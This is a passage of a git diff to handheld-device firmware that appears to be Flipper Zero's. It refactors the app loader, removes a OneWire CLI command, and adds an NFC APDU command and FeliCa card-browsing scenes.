(find_res->hash != gnu_sym_hash))) { - FURI_LOG_W(TAG, "Can't find symbol '%s' (hash %lx)!", name, gnu_sym_hash); - result = false; - } else { - result = true; - *address = find_res->address; - } - - return result; -} - -const ElfApiInterface hashtable_api_interface = { - .api_version_major = (elf_api_version >> 16), - .api_version_minor = (elf_api_version & 0xFFFF), - .resolver_callback = &elf_resolve_from_hashtable, -}; diff --git a/applications/main/fap_loader/elf_cpp/elf_hashtable.h b/applications/main/fap_loader/elf_cpp/elf_hashtable.h deleted file mode 100644 index e574f1169..000000000 --- a/applications/main/fap_loader/elf_cpp/elf_hashtable.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once -#include - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -extern const ElfApiInterface hashtable_api_interface; - -#ifdef __cplusplus -} -#endif diff --git a/applications/main/fap_loader/elf_cpp/elf_hashtable_checks.hpp b/applications/main/fap_loader/elf_cpp/elf_hashtable_checks.hpp deleted file mode 100644 index 61ee80e91..000000000 --- a/applications/main/fap_loader/elf_cpp/elf_hashtable_checks.hpp +++ /dev/null @@ -1,18 +0,0 @@ -/** - * Check for multiple entries with the same hash value at compilation time. - */ - -#pragma once -#include -#include "elf_hashtable_entry.h" - -template -constexpr bool has_hash_collisions(const std::array api_methods) { - for(std::size_t i = 0; i < (N - 1); ++i) { - if(api_methods[i].hash == api_methods[i + 1].hash) { - return true; - } - } - - return false; -} diff --git a/applications/main/fap_loader/elf_cpp/elf_hashtable_entry.h b/applications/main/fap_loader/elf_cpp/elf_hashtable_entry.h deleted file mode 100644 index 7b540fba6..000000000 --- a/applications/main/fap_loader/elf_cpp/elf_hashtable_entry.h +++ /dev/null @@ -1,41 +0,0 @@ -#pragma once -#include - -#ifdef __cplusplus -extern "C" { -#endif - -struct sym_entry { - uint32_t hash; - uint32_t address; -}; - -#ifdef __cplusplus -} - -#include -#include - -#define API_METHOD(x, ret_type, args_type) \ - sym_entry { \ - .hash = elf_gnu_hash(#x), .address = (uint32_t)(static_cast(x)) \ - } - -#define API_VARIABLE(x, var_type) \ - sym_entry { \ - .hash = elf_gnu_hash(#x), .address = (uint32_t)(&(x)), \ - } - -constexpr bool operator<(const sym_entry& k1, const sym_entry& k2) { - return k1.hash < k2.hash; -} - -constexpr uint32_t elf_gnu_hash(const char* s) { - uint32_t h = 0x1505; - for(unsigned char c = *s; c != '\0'; c = *++s) { - h = (h << 5) + h + c; - } - return h; -} - -#endif diff --git a/applications/main/fap_loader/fap_loader_app.c b/applications/main/fap_loader/fap_loader_app.c index 559463988..6caaa9639 100644 --- a/applications/main/fap_loader/fap_loader_app.c +++ b/applications/main/fap_loader/fap_loader_app.c @@ -1,16 +1,17 @@ +#include "fap_loader_app.h" + #include -#include + #include +#include #include -#include #include #include #include #include -#include "elf_cpp/elf_hashtable.h" -#include "fap_loader_app.h" +#include -#define TAG "fap_loader_app" +#define TAG "FapLoader" struct FapLoader { FlipperApplication* app; @@ -22,12 +23,14 @@ struct FapLoader { Loading* loading; }; +volatile bool fap_loader_debug_active = false; + bool fap_loader_load_name_and_icon( FuriString* path, Storage* storage, uint8_t** icon_ptr, FuriString* item_name) { - FlipperApplication* app = flipper_application_alloc(storage, &hashtable_api_interface); + FlipperApplication* app = flipper_application_alloc(storage, firmware_api_interface); FlipperApplicationPreloadStatus preload_res = flipper_application_preload_manifest(app, furi_string_get_cstr(path)); @@ -36,7 +39,7 @@ bool fap_loader_load_name_and_icon( if(preload_res == FlipperApplicationPreloadStatusSuccess) { const FlipperApplicationManifest* manifest = flipper_application_get_manifest(app); - if(manifest->has_icon && icon_ptr != NULL) { + if(manifest->has_icon && icon_ptr != NULL && *icon_ptr != NULL) { memcpy(*icon_ptr, manifest->icon, FAP_MANIFEST_MAX_ICON_SIZE); } furi_string_set(item_name, manifest->name); @@ -60,7 +63,7 @@ static bool fap_loader_item_callback( return fap_loader_load_name_and_icon(path, fap_loader->storage, icon_ptr, item_name); } -static bool fap_loader_run_selected_app(FapLoader* loader) { +static bool fap_loader_run_selected_app(FapLoader* loader, bool ignore_mismatch) { furi_assert(loader); FuriString* error_message; @@ -69,9 +72,10 @@ static bool fap_loader_run_selected_app(FapLoader* loader) { bool file_selected = false; bool show_error = true; + bool retry = false; do { file_selected = true; - loader->app = flipper_application_alloc(loader->storage, &hashtable_api_interface); + loader->app = flipper_application_alloc(loader->storage, firmware_api_interface); size_t start = furi_get_tick(); FURI_LOG_I(TAG, "FAP Loader is loading %s", furi_string_get_cstr(loader->fap_path)); @@ -79,14 +83,36 @@ static bool fap_loader_run_selected_app(FapLoader* loader) { FlipperApplicationPreloadStatus preload_res = flipper_application_preload(loader->app, furi_string_get_cstr(loader->fap_path)); if(preload_res != FlipperApplicationPreloadStatusSuccess) { - const char* err_msg = flipper_application_preload_status_to_string(preload_res); - furi_string_printf(error_message, "Preload failed: %s", err_msg); - FURI_LOG_E( - TAG, - "FAP Loader failed to preload %s: %s", - furi_string_get_cstr(loader->fap_path), - err_msg); - break; + if(preload_res == FlipperApplicationPreloadStatusApiMismatch) { + if(!ignore_mismatch) { + DialogMessage* message = dialog_message_alloc(); + dialog_message_set_header( + message, "API Mismatch", 64, 0, AlignCenter, AlignTop); + dialog_message_set_buttons(message, "Cancel", NULL, "Continue"); + dialog_message_set_text( + message, + "This app might not\nwork correctly\nContinue anyways?", + 64, + 32, + AlignCenter, + AlignCenter); + if(dialog_message_show(loader->dialogs, message) == DialogMessageButtonRight) { + retry = true; + } + dialog_message_free(message); + show_error = false; + break; + } + } else { + const char* err_msg = flipper_application_preload_status_to_string(preload_res); + furi_string_printf(error_message, "Preload failed: %s", err_msg); + FURI_LOG_E( + TAG, + "FAP Loader failed to preload %s: %s", + furi_string_get_cstr(loader->fap_path), + err_msg); + break; + } } FURI_LOG_I(TAG, "FAP Loader is mapping"); @@ -107,6 +133,14 @@ static bool fap_loader_run_selected_app(FapLoader* loader) { FuriThread* thread = flipper_application_spawn(loader->app, NULL); + /* This flag is set by the debugger - to break on app start */ + if(fap_loader_debug_active) { + FURI_LOG_W(TAG, "Triggering BP for debugger"); + /* After hitting this, you can set breakpoints in your .fap's code + * Note that you have to toggle breakpoints that were set before */ + __asm volatile("bkpt 0"); + } + FuriString* app_name = furi_string_alloc(); path_extract_filename_no_ext(furi_string_get_cstr(loader->fap_path), app_name); furi_thread_set_appid(thread, furi_string_get_cstr(app_name)); @@ -144,7 +178,7 @@ static bool fap_loader_run_selected_app(FapLoader* loader) { flipper_application_free(loader->app); } - return file_selected; + return retry; } static bool fap_loader_select_app(FapLoader* loader) { @@ -193,12 +227,16 @@ int32_t fap_loader_app(void* p) { if(p) { loader = fap_loader_alloc((const char*)p); view_dispatcher_switch_to_view(loader->view_dispatcher, 0); - fap_loader_run_selected_app(loader); + if(fap_loader_run_selected_app(loader, false)) { + fap_loader_run_selected_app(loader, true); + } } else { loader = fap_loader_alloc(EXT_PATH("apps")); while(fap_loader_select_app(loader)) { view_dispatcher_switch_to_view(loader->view_dispatcher, 0); - fap_loader_run_selected_app(loader); + if(fap_loader_run_selected_app(loader, false)) { + fap_loader_run_selected_app(loader, true); + } }; } diff --git a/applications/main/ibutton/ibutton_cli.c b/applications/main/ibutton/ibutton_cli.c index 2b88b2007..54bc808b5 100644 --- a/applications/main/ibutton/ibutton_cli.c +++ b/applications/main/ibutton/ibutton_cli.c @@ -4,25 +4,20 @@ #include #include -#include - -#include -#include -#include +#include +#include +#include static void ibutton_cli(Cli* cli, FuriString* args, void* context); -static void onewire_cli(Cli* cli, FuriString* args, void* context); // app cli function void ibutton_on_system_start() { #ifdef SRV_CLI Cli* cli = furi_record_open(RECORD_CLI); cli_add_command(cli, "ikey", CliCommandFlagDefault, ibutton_cli, cli); - cli_add_command(cli, "onewire", CliCommandFlagDefault, onewire_cli, cli); furi_record_close(RECORD_CLI); #else UNUSED(ibutton_cli); - UNUSED(onewire_cli); #endif } @@ -257,56 +252,3 @@ void ibutton_cli(Cli* cli, FuriString* args, void* context) { furi_string_free(cmd); } - -static void onewire_cli_print_usage() { - printf("Usage:\r\n"); - printf("onewire search\r\n"); -}; - -static void onewire_cli_search(Cli* cli) { - UNUSED(cli); - OneWireHost* onewire = onewire_host_alloc(&ibutton_gpio); - uint8_t address[8]; - bool done = false; - - printf("Search started\r\n"); - - onewire_host_start(onewire); - furi_hal_power_enable_otg(); - - while(!done) { - if(onewire_host_search(onewire, address, OneWireHostSearchModeNormal) != 1) { - printf("Search finished\r\n"); - onewire_host_reset_search(onewire); - done = true; - } else { - printf("Found: "); - for(uint8_t i = 0; i < 8; i++) { - printf("%02X", address[i]); - } - printf("\r\n"); - } - furi_delay_ms(100); - } - - furi_hal_power_disable_otg(); - onewire_host_free(onewire); -} - -void onewire_cli(Cli* cli, FuriString* args, void* context) { - UNUSED(context); - FuriString* cmd; - cmd = furi_string_alloc(); - - if(!args_read_string_and_trim(args, cmd)) { - furi_string_free(cmd); - onewire_cli_print_usage(); - return; - } - - if(furi_string_cmp_str(cmd, "search") == 0) { - onewire_cli_search(cli); - } - - furi_string_free(cmd); -} diff --git a/applications/main/ibutton/ibutton_i.h b/applications/main/ibutton/ibutton_i.h index 8ad0b90e4..509279210 100644 --- a/applications/main/ibutton/ibutton_i.h +++ b/applications/main/ibutton/ibutton_i.h @@ -7,8 +7,8 @@ #include #include -#include -#include +#include +#include #include #include diff --git a/applications/main/infrared/scenes/infrared_scene_start.c b/applications/main/infrared/scenes/infrared_scene_start.c index 0403e40f8..a671c7592 100644 --- a/applications/main/infrared/scenes/infrared_scene_start.c +++ b/applications/main/infrared/scenes/infrared_scene_start.c @@ -38,26 +38,30 @@ void infrared_scene_start_on_enter(void* context) { infrared_scene_start_submenu_callback, infrared); - if(infrared->app_state.is_debug_enabled) { - submenu_add_item( - submenu, - "Learn New Remote RAW", - SubmenuIndexLearnNewRemoteRaw, - infrared_scene_start_submenu_callback, - infrared); - submenu_add_item( - submenu, - "Debug RX", - SubmenuIndexDebug, - infrared_scene_start_submenu_callback, - infrared); - submenu_add_item( - submenu, - "Debug Settings", - SubmenuIndexDebugSettings, - infrared_scene_start_submenu_callback, - infrared); - } + submenu_add_lockable_item( + submenu, + "Learn New Remote RAW", + SubmenuIndexLearnNewRemoteRaw, + infrared_scene_start_submenu_callback, + infrared, + !infrared->app_state.is_debug_enabled, + "Enable\nDebug!"); + submenu_add_lockable_item( + submenu, + "Debug RX", + SubmenuIndexDebug, + infrared_scene_start_submenu_callback, + infrared, + !infrared->app_state.is_debug_enabled, + "Enable\nDebug!"); + submenu_add_lockable_item( + submenu, + "Debug Settings", + SubmenuIndexDebugSettings, + infrared_scene_start_submenu_callback, + infrared, + !infrared->app_state.is_debug_enabled, + "Enable\nDebug!"); const uint32_t submenu_index = scene_manager_get_scene_state(scene_manager, InfraredSceneStart); diff --git a/applications/main/lfrfid/application.fam b/applications/main/lfrfid/application.fam index 8fe1bac4d..e84ed2a31 100644 --- a/applications/main/lfrfid/application.fam +++ b/applications/main/lfrfid/application.fam @@ -1,6 +1,6 @@ App( appid="lfrfid", - name="125 kHz RFID", + name="RFID", apptype=FlipperAppType.APP, targets=["f7"], entry_point="lfrfid_app", diff --git a/applications/main/lfrfid/scenes/lfrfid_scene_extra_actions.c b/applications/main/lfrfid/scenes/lfrfid_scene_extra_actions.c index efa319c1e..d322b2d01 100644 --- a/applications/main/lfrfid/scenes/lfrfid_scene_extra_actions.c +++ b/applications/main/lfrfid/scenes/lfrfid_scene_extra_actions.c @@ -37,14 +37,14 @@ void lfrfid_scene_extra_actions_on_enter(void* context) { lfrfid_scene_extra_actions_submenu_callback, app); - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - submenu_add_item( - submenu, - "Read RAW RFID data", - SubmenuIndexRAW, - lfrfid_scene_extra_actions_submenu_callback, - app); - } + submenu_add_lockable_item( + submenu, + "Read RAW RFID data", + SubmenuIndexRAW, + lfrfid_scene_extra_actions_submenu_callback, + app, + !furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug), + "Enable\nDebug!"); submenu_set_selected_item( submenu, scene_manager_get_scene_state(app->scene_manager, LfRfidSceneExtraActions)); diff --git a/applications/main/nfc/helpers/nfc_custom_event.h b/applications/main/nfc/helpers/nfc_custom_event.h index 4227a5b14..aa932a3d8 100644 --- a/applications/main/nfc/helpers/nfc_custom_event.h +++ b/applications/main/nfc/helpers/nfc_custom_event.h @@ -12,4 +12,6 @@ enum NfcCustomEvent { NfcCustomEventDictAttackSkip, NfcCustomEventRpcLoad, NfcCustomEventRpcSessionClose, + NfcCustomEventUpdateLog, + NfcCustomEventSaveShadow, }; diff --git a/applications/main/nfc/nfc.c b/applications/main/nfc/nfc.c index b6ea9cfb8..f68b7f2f2 100644 --- a/applications/main/nfc/nfc.c +++ b/applications/main/nfc/nfc.c @@ -87,13 +87,6 @@ Nfc* nfc_alloc() { nfc->view_dispatcher, NfcViewTextBox, text_box_get_view(nfc->text_box)); nfc->text_box_store = furi_string_alloc(); - // Variable Item List - nfc->variable_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - nfc->view_dispatcher, - NfcViewVarItemList, - variable_item_list_get_view(nfc->variable_item_list)); - // Custom Widget nfc->widget = widget_alloc(); view_dispatcher_add_view(nfc->view_dispatcher, NfcViewWidget, widget_get_view(nfc->widget)); @@ -166,10 +159,6 @@ void nfc_free(Nfc* nfc) { text_box_free(nfc->text_box); furi_string_free(nfc->text_box_store); - // Variable Item List - view_dispatcher_remove_view(nfc->view_dispatcher, NfcViewVarItemList); - variable_item_list_free(nfc->variable_item_list); - // Custom Widget view_dispatcher_remove_view(nfc->view_dispatcher, NfcViewWidget); widget_free(nfc->widget); @@ -302,10 +291,10 @@ int32_t nfc_app(void* p) { scene_manager_next_scene(nfc->scene_manager, NfcSceneMfClassicEmulate); DOLPHIN_DEED(DolphinDeedNfcEmulate); } else if(nfc->dev->format == NfcDeviceSaveFormatNfcV) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateNfcV); + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVEmulate); DOLPHIN_DEED(DolphinDeedNfcEmulate); } else if(nfc->dev->format == NfcDeviceSaveFormatBankCard) { - scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateUid); + scene_manager_next_scene(nfc->scene_manager, NfcSceneDeviceInfo); } else { scene_manager_next_scene(nfc->scene_manager, NfcSceneEmulateUid); DOLPHIN_DEED(DolphinDeedNfcEmulate); diff --git a/applications/main/nfc/nfc_cli.c b/applications/main/nfc/nfc_cli.c index 23335e299..6e14e371f 100644 --- a/applications/main/nfc/nfc_cli.c +++ b/applications/main/nfc/nfc_cli.c @@ -2,6 +2,7 @@ #include #include #include +#include #include #include @@ -12,6 +13,7 @@ static void nfc_cli_print_usage() { printf("Cmd list:\r\n"); printf("\tdetect\t - detect nfc device\r\n"); printf("\temulate\t - emulate predefined nfca card\r\n"); + printf("\tapdu\t - Send APDU and print response \r\n"); if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { printf("\tfield\t - turn field on\r\n"); } @@ -32,13 +34,25 @@ static void nfc_cli_detect(Cli* cli, FuriString* args) { while(!cmd_exit) { cmd_exit |= cli_cmd_interrupt_received(cli); if(furi_hal_nfc_detect(&dev_data, 400)) { - printf("Found: %s ", nfc_get_dev_type(dev_data.type)); - printf("UID length: %d, UID:", dev_data.uid_len); - for(size_t i = 0; i < dev_data.uid_len; i++) { - printf("%02X", dev_data.uid[i]); + if(dev_data.type == FuriHalNfcTypeA) { + printf("UID length: %d, UID:", dev_data.uid_len); + for(size_t i = 0; i < dev_data.uid_len; i++) { + printf("%02X", dev_data.uid[i]); + } + printf("\r\n"); + break; + } else if(dev_data.type == FuriHalNfcTypeF) { + printf("IDm:"); + for(size_t i = 0; i < 8; i++) { + printf("%02X", dev_data.uid[i]); + } + printf("\r\nPMm:"); + for(size_t i = 0; i < 8; i++) { + printf("%02X", dev_data.f_data.pmm[i]); + } + printf("\r\n"); + break; } - printf("\r\n"); - break; } furi_hal_nfc_sleep(); furi_delay_ms(50); @@ -61,13 +75,17 @@ static void nfc_cli_emulate(Cli* cli, FuriString* args) { FuriHalNfcDevData params = { .uid = {0x36, 0x9C, 0xe7, 0xb1, 0x0A, 0xC1, 0x34}, .uid_len = 7, - .atqa = {0x44, 0x00}, - .sak = 0x00, + .a_data = + { + .atqa = {0x44, 0x00}, + .sak = 0x00, + }, .type = FuriHalNfcTypeA, }; while(!cli_cmd_interrupt_received(cli)) { - if(furi_hal_nfc_listen(params.uid, params.uid_len, params.atqa, params.sak, false, 100)) { + if(furi_hal_nfc_listen( + params.uid, params.uid_len, params.a_data.atqa, params.a_data.sak, false, 100)) { printf("Reader detected\r\n"); furi_hal_nfc_sleep(); } @@ -98,6 +116,67 @@ static void nfc_cli_field(Cli* cli, FuriString* args) { furi_hal_nfc_sleep(); } +static void nfc_cli_apdu(Cli* cli, FuriString* args) { + UNUSED(cli); + if(furi_hal_nfc_is_busy()) { + printf("Nfc is busy\r\n"); + return; + } + + furi_hal_nfc_exit_sleep(); + FuriString* data = NULL; + data = furi_string_alloc(); + FuriHalNfcTxRxContext tx_rx = {}; + FuriHalNfcDevData dev_data = {}; + uint8_t* req_buffer = NULL; + uint8_t* resp_buffer = NULL; + size_t apdu_size = 0; + size_t resp_size = 0; + + do { + if(!args_read_string_and_trim(args, data)) { + printf( + "Use like `nfc apdu 00a404000e325041592e5359532e444446303100 00a4040008a0000003010102` \r\n"); + break; + } + + printf("detecting tag\r\n"); + if(!furi_hal_nfc_detect(&dev_data, 300)) { + printf("Failed to detect tag\r\n"); + break; + } + do { + apdu_size = furi_string_size(data) / 2; + req_buffer = malloc(apdu_size); + hex_chars_to_uint8(furi_string_get_cstr(data), req_buffer); + + memcpy(tx_rx.tx_data, req_buffer, apdu_size); + tx_rx.tx_bits = apdu_size * 8; + tx_rx.tx_rx_type = FuriHalNfcTxRxTypeDefault; + + printf("Sending APDU:%s to Tag\r\n", furi_string_get_cstr(data)); + if(!furi_hal_nfc_tx_rx(&tx_rx, 300)) { + printf("Failed to tx_rx\r\n"); + break; + } + resp_size = (tx_rx.rx_bits / 8) * 2; + resp_buffer = malloc(resp_size); + uint8_to_hex_chars(tx_rx.rx_data, resp_buffer, resp_size); + resp_buffer[resp_size] = 0; + printf("Response: %s\r\n", resp_buffer); + free(req_buffer); + free(resp_buffer); + req_buffer = NULL; + resp_buffer = NULL; + } while(args_read_string_and_trim(args, data)); + } while(false); + + free(req_buffer); + free(resp_buffer); + furi_string_free(data); + furi_hal_nfc_sleep(); +} + static void nfc_cli(Cli* cli, FuriString* args, void* context) { UNUSED(context); FuriString* cmd; @@ -117,6 +196,11 @@ static void nfc_cli(Cli* cli, FuriString* args, void* context) { break; } + if(furi_string_cmp_str(cmd, "apdu") == 0) { + nfc_cli_apdu(cli, args); + break; + } + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { if(furi_string_cmp_str(cmd, "field") == 0) { nfc_cli_field(cli, args); diff --git a/applications/main/nfc/nfc_i.h b/applications/main/nfc/nfc_i.h index a3a62972c..7331b9405 100644 --- a/applications/main/nfc/nfc_i.h +++ b/applications/main/nfc/nfc_i.h @@ -21,7 +21,6 @@ #include #include #include -#include #include #include @@ -40,13 +39,23 @@ #include "rpc/rpc_app.h" +#include #include -ARRAY_DEF(MfClassicUserKeys, char*, M_PTR_OPLIST); +ARRAY_DEF(FelicaAreaPath, FelicaArea*, M_PTR_OPLIST) +ARRAY_DEF(MfClassicUserKeys, char*, M_PTR_OPLIST) #define NFC_TEXT_STORE_SIZE 128 #define NFC_APP_FOLDER ANY_PATH("nfc") +typedef struct { + FelicaSystem* selected_system; + + FelicaAreaPath_t selected_areas; + + FelicaService* selected_service; +} FelicaSelectState; + typedef enum { NfcRpcStateIdle, NfcRpcStateEmulating, @@ -66,6 +75,7 @@ struct Nfc { FuriString* text_box_store; uint8_t byte_input_store[6]; MfClassicUserKeys_t mfc_key_strs; // Used in MFC key listing + FelicaSelectState felica_select; void* rpc_ctx; NfcRpcState rpc_state; @@ -78,7 +88,6 @@ struct Nfc { TextInput* text_input; ByteInput* byte_input; TextBox* text_box; - VariableItemList* variable_item_list; Widget* widget; DictAttack* dict_attack; DetectReader* detect_reader; @@ -94,7 +103,6 @@ typedef enum { NfcViewTextInput, NfcViewByteInput, NfcViewTextBox, - NfcViewVarItemList, NfcViewWidget, NfcViewDictAttack, NfcViewDetectReader, diff --git a/applications/main/nfc/scenes/nfc_scene_config.h b/applications/main/nfc/scenes/nfc_scene_config.h index ef257b76e..c02e83787 100644 --- a/applications/main/nfc/scenes/nfc_scene_config.h +++ b/applications/main/nfc/scenes/nfc_scene_config.h @@ -4,7 +4,7 @@ ADD_SCENE(nfc, saved_menu, SavedMenu) ADD_SCENE(nfc, extra_actions, ExtraActions) ADD_SCENE(nfc, set_type, SetType) ADD_SCENE(nfc, set_sak, SetSak) -ADD_SCENE(nfc, set_atqa, SetAtqua) +ADD_SCENE(nfc, set_atqa, SetAtqa) ADD_SCENE(nfc, set_uid, SetUid) ADD_SCENE(nfc, generate_info, GenerateInfo) ADD_SCENE(nfc, read_card_success, ReadCardSuccess) @@ -18,7 +18,8 @@ ADD_SCENE(nfc, nfcv_menu, NfcVMenu) ADD_SCENE(nfc, nfcv_unlock_menu, NfcVUnlockMenu) ADD_SCENE(nfc, nfcv_key_input, NfcVKeyInput) ADD_SCENE(nfc, nfcv_unlock, NfcVUnlock) -ADD_SCENE(nfc, emulate_nfcv, EmulateNfcV) +ADD_SCENE(nfc, nfcv_emulate, NfcVEmulate) +ADD_SCENE(nfc, nfcv_sniff, NfcVSniff) ADD_SCENE(nfc, mf_ultralight_read_success, MfUltralightReadSuccess) ADD_SCENE(nfc, mf_ultralight_data, MfUltralightData) ADD_SCENE(nfc, mf_ultralight_menu, MfUltralightMenu) @@ -51,14 +52,10 @@ ADD_SCENE(nfc, mf_classic_update_success, MfClassicUpdateSuccess) ADD_SCENE(nfc, mf_classic_wrong_card, MfClassicWrongCard) ADD_SCENE(nfc, emv_read_success, EmvReadSuccess) ADD_SCENE(nfc, emv_menu, EmvMenu) -ADD_SCENE(nfc, passport_read, PassportReadSuccess) -ADD_SCENE(nfc, passport_read_auth, PassportReadAuthSuccess) -ADD_SCENE(nfc, passport_menu, PassportMenu) -ADD_SCENE(nfc, passport_auth, PassportAuth) -ADD_SCENE(nfc, passport_auth_save_name, PassportAuthSaveName) -ADD_SCENE(nfc, passport_date, PassportDate) -ADD_SCENE(nfc, passport_docnr, PassportDocNr) -ADD_SCENE(nfc, passport_pace_todo, PassportPaceTodo) +ADD_SCENE(nfc, felica_read_success, FelicaReadSuccess) +ADD_SCENE(nfc, felica_menu, FelicaMenu) +ADD_SCENE(nfc, felica_info_select, FelicaInfoSelect) +ADD_SCENE(nfc, felica_service_data, FelicaServiceData) ADD_SCENE(nfc, emulate_apdu_sequence, EmulateApduSequence) ADD_SCENE(nfc, device_info, DeviceInfo) ADD_SCENE(nfc, delete, Delete) diff --git a/applications/main/nfc/scenes/nfc_scene_delete.c b/applications/main/nfc/scenes/nfc_scene_delete.c index cbb52bfd0..8b712e948 100644 --- a/applications/main/nfc/scenes/nfc_scene_delete.c +++ b/applications/main/nfc/scenes/nfc_scene_delete.c @@ -31,6 +31,8 @@ void nfc_scene_delete_on_enter(void* context) { nfc->widget, 64, 24, AlignCenter, AlignTop, FontSecondary, furi_string_get_cstr(temp_str)); NfcProtocol protocol = nfc->dev->dev_data.protocol; + const char* nfc_type = "NFC-A"; + if(protocol == NfcDeviceProtocolEMV) { furi_string_set(temp_str, "EMV bank card"); } else if(protocol == NfcDeviceProtocolMifareUl) { @@ -39,12 +41,17 @@ void nfc_scene_delete_on_enter(void* context) { furi_string_set(temp_str, nfc_mf_classic_type(nfc->dev->dev_data.mf_classic_data.type)); } else if(protocol == NfcDeviceProtocolMifareDesfire) { furi_string_set(temp_str, "MIFARE DESFire"); + } else if(protocol == NfcDeviceProtocolNfcV) { + furi_string_set(temp_str, "ISO15693 tag"); + nfc_type = "NFC-V"; + } else if(protocol == NfcDeviceProtocolFelica) { + furi_string_set(temp_str, "FeliCa"); } else { furi_string_set(temp_str, "Unknown ISO tag"); } widget_add_string_element( nfc->widget, 64, 34, AlignCenter, AlignTop, FontSecondary, furi_string_get_cstr(temp_str)); - widget_add_string_element(nfc->widget, 64, 44, AlignCenter, AlignTop, FontSecondary, "NFC-A"); + widget_add_string_element(nfc->widget, 64, 44, AlignCenter, AlignTop, FontSecondary, nfc_type); furi_string_free(temp_str); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); diff --git a/applications/main/nfc/scenes/nfc_scene_delete_success.c b/applications/main/nfc/scenes/nfc_scene_delete_success.c index 4994dd8d4..d8e2652a9 100644 --- a/applications/main/nfc/scenes/nfc_scene_delete_success.c +++ b/applications/main/nfc/scenes/nfc_scene_delete_success.c @@ -31,7 +31,7 @@ bool nfc_scene_delete_success_on_event(void* context, SceneManagerEvent event) { nfc->scene_manager, NfcSceneMfClassicKeys); } else { consumed = scene_manager_search_and_switch_to_previous_scene( - nfc->scene_manager, NfcSceneStart); + nfc->scene_manager, NfcSceneFileSelect); } } } diff --git a/applications/main/nfc/scenes/nfc_scene_extra_actions.c b/applications/main/nfc/scenes/nfc_scene_extra_actions.c index 147c89757..7f5bc7e75 100644 --- a/applications/main/nfc/scenes/nfc_scene_extra_actions.c +++ b/applications/main/nfc/scenes/nfc_scene_extra_actions.c @@ -5,6 +5,7 @@ enum SubmenuIndex { SubmenuIndexMfClassicKeys, SubmenuIndexMfUltralightUnlock, SubmenuIndexNfcVUnlock, + SubmenuIndexNfcVSniff, }; void nfc_scene_extra_actions_submenu_callback(void* context, uint32_t index) { @@ -41,6 +42,14 @@ void nfc_scene_extra_actions_on_enter(void* context) { SubmenuIndexNfcVUnlock, nfc_scene_extra_actions_submenu_callback, nfc); + submenu_add_item( + submenu, + "Listen NfcV Reader", + SubmenuIndexNfcVSniff, + nfc_scene_extra_actions_submenu_callback, + nfc); + submenu_set_selected_item( + submenu, scene_manager_get_scene_state(nfc->scene_manager, NfcSceneExtraActions)); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewMenu); } @@ -66,6 +75,9 @@ bool nfc_scene_extra_actions_on_event(void* context, SceneManagerEvent event) { } else if(event.event == SubmenuIndexNfcVUnlock) { scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVUnlockMenu); consumed = true; + } else if(event.event == SubmenuIndexNfcVSniff) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVSniff); + consumed = true; } scene_manager_set_scene_state(nfc->scene_manager, NfcSceneExtraActions, event.event); } diff --git a/applications/main/nfc/scenes/nfc_scene_felica_info_select.c b/applications/main/nfc/scenes/nfc_scene_felica_info_select.c new file mode 100644 index 000000000..3b7c570d7 --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_felica_info_select.c @@ -0,0 +1,151 @@ +#include "../nfc_i.h" +#include + +void nfc_scene_felica_info_select_submenu_callback(void* context, uint32_t index) { + Nfc* nfc = context; + + view_dispatcher_send_custom_event(nfc->view_dispatcher, index); +} + +void nfc_scene_felica_info_select_on_enter(void* context) { + Nfc* nfc = context; + Submenu* submenu = nfc->submenu; + FelicaData* data = &nfc->dev->dev_data.felica_data; + FelicaSelectState* state = &nfc->felica_select; + + FelicaAreaPath_init(nfc->felica_select.selected_areas); + + submenu_add_item(submenu, "[Actions]", 0, nfc_scene_felica_info_select_submenu_callback, nfc); + uint8_t i = 1; + if(state->selected_system == NULL || state->selected_system->code == LITE_SYSTEM_CODE) { + submenu_set_header(submenu, "Systems"); + FelicaSystemList_it_t it; + for(FelicaSystemList_it(it, data->systems); !FelicaSystemList_end_p(it); + FelicaSystemList_next(it)) { + FelicaSystem* current_system = *FelicaSystemList_ref(it); + FuriString* system_name = felica_get_system_name(current_system); + submenu_add_item( + submenu, + furi_string_get_cstr(system_name), + i++, + nfc_scene_felica_info_select_submenu_callback, + nfc); + furi_string_free(system_name); + } + } else { + FelicaSystem* system = state->selected_system; + FuriString* header = furi_string_alloc_printf("%04X/", system->code); + + FelicaArea* area = &system->root_area; + if(FelicaAreaPath_size(state->selected_areas) > 0) { + FelicaAreaPath_it_t it; + for(FelicaAreaPath_it(it, state->selected_areas); !FelicaAreaPath_end_p(it); + FelicaAreaPath_next(it)) { + FelicaArea* ancestor = *FelicaAreaPath_ref(it); + furi_string_cat_printf(header, "%d/", ancestor->number); + } + area = *FelicaAreaPath_back(state->selected_areas); + } + furi_string_cat(header, "Areas"); + + submenu_set_header(submenu, furi_string_get_cstr(header)); + furi_string_free(header); + + FelicaNodeList_it_t it; + for(FelicaNodeList_it(it, area->nodes); !FelicaNodeList_end_p(it); + FelicaNodeList_next(it)) { + FelicaNode* node = *FelicaNodeList_ref(it); + FuriString* node_name = furi_string_alloc(); + if(node->type == FelicaNodeTypeArea) { + furi_string_printf(node_name, "Area %d", node->area->number); + submenu_add_item( + submenu, + furi_string_get_cstr(node_name), + i++, + nfc_scene_felica_info_select_submenu_callback, + nfc); + } else { + uint16_t service_code = node->service->number << 6; + furi_string_printf(node_name, "Service %04X", service_code); + submenu_add_item( + submenu, + furi_string_get_cstr(node_name), + i++, + nfc_scene_felica_info_select_submenu_callback, + nfc); + } + + furi_string_free(node_name); + } + } + + state->selected_service = NULL; + submenu_set_selected_item( + nfc->submenu, scene_manager_get_scene_state(nfc->scene_manager, NfcSceneFelicaInfoSelect)); + + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewMenu); +} + +bool nfc_scene_felica_info_select_on_event(void* context, SceneManagerEvent 